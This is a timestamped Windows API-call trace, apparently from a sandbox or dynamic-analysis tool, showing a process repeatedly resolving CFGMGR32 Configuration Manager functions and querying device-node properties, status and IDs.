[0231.573] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.573] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.577] malloc (_Size=0x18) returned 0x20abc282060 [0231.577] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0231.578] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45cb3010, dwHighDateTime=0x1d9eb0c)) [0231.578] SetEvent (hEvent=0x248) returned 1 [0231.620] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.620] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.624] malloc (_Size=0x18) returned 0x20abc282020 [0231.624] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.627] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45d25cf3, dwHighDateTime=0x1d9eb0c)) [0231.627] SetEvent (hEvent=0x248) returned 1 [0231.632] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.632] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.636] malloc (_Size=0x18) returned 0x20abc281bc0 [0231.636] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0231.636] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x45d4b8f9, dwHighDateTime=0x1d9eb0c)) [0231.636] SetEvent (hEvent=0x248) returned 1 [0231.641] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.641] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.642] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.645] malloc (_Size=0x18) returned 0x20abc281e60 [0231.646] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0231.646] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x45d72055, dwHighDateTime=0x1d9eb0c)) [0231.646] SetEvent (hEvent=0x248) returned 1 [0231.652] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.652] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.656] malloc (_Size=0x18) returned 0x20abc281d40 [0231.656] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0231.656] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45d72055, dwHighDateTime=0x1d9eb0c)) [0231.657] SetEvent (hEvent=0x248) returned 1 [0231.663] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.663] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.666] malloc (_Size=0x18) returned 0x20abc2819e0 [0231.667] CM_Get_Device_IDA (in: dnDevInst=0x1d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\ISATAP_0") returned 0x0 [0231.667] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x45d9866c, dwHighDateTime=0x1d9eb0c)) [0231.667] SetEvent (hEvent=0x248) returned 1 [0231.727] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.727] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.731] malloc (_Size=0x18) returned 0x20abc281ee0 [0231.731] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.732] malloc (_Size=0x12) returned 0x20abc281a80 [0231.732] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281a80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281a80, pulLength=0x2dc22fd3f8) returned 0x0 [0231.732] free (_Block=0x20abc281a80) [0231.732] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45e30795, dwHighDateTime=0x1d9eb0c)) [0231.733] SetEvent (hEvent=0x248) returned 1 [0231.736] malloc (_Size=0x18) returned 0x20abc282060 [0231.736] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0231.736] free (_Block=0x20abc282060) [0231.736] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c5f0 [0231.736] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0231.736] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0231.736] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0231.736] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba798e0 [0231.736] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0231.736] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0231.736] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0231.736] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0231.737] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402150, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.737] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba798e0) returned 1 [0231.738] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c5f0) returned 1 [0231.739] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.739] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, 